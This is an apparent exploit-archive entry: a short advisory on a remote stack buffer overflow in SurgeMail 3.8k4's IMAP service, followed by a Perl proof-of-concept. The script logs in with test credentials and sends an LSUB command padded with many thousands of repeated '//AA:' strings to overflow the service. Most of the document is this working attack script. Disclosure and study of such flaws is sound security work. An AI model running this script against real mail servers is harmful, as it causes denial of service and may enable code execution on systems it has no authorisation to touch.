source: https://www.securityfocus.com/bid/28377/info SurgeMail is prone to a remote stack-based buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input. Successfully exploiting this issue may allow remote attackers to execute arbitrary machine code in the context of the affected service. Failed exploit attempts will likely result in denial-of-service conditions. SurgeMail 3.8k4 is vulnerable; other versions may also be affected. # # # Surgemail stack overflow PoC exploit - latest version # Coded by Leon Juranic # http://www.infigo.hr/en/ # use IO::Socket; $host = "192.168.0.15"; $user = "test"; $pass = "test"; $str = "//AA:"; $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => "143", Proto => "tcp") || die ("Cannot connect!!!\n"); print $a = <$sock>; print $sock "a001 LOGIN $user $pass\r\n"; print $a = <$sock>; print $sock "a002 LSUB " . $str x 12000 . " " . $str x 21000 . "\r\n"; print $a = <$sock>;